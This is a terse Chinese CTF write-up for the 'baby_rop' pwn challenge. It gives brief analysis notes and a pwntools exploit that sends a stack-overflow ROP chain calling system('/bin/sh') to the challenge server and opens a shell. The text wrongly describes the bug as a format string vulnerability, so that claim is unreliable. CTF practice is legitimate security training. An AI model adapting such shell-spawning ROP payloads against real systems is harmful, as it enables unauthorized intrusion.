BUUCTF PWN [HarekazeCTF2019]baby_rop

1.checksec+运行

64位/NX堆栈不可执行

2.IDA进行中

1.main函数

本题函数倒不是很多

很明显,格式化字符串漏洞

2.system bin/sh

3.offset

 

总体来看64位寄存器传参

 

 3.EXP

from pwn import*
 
p=remote('node4.buuoj.cn',27198)
 
shell=0x601048
system=0x400496
rdi=0x400683
 
payload=b'a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
 
p.sendline(payload)
p.interactive()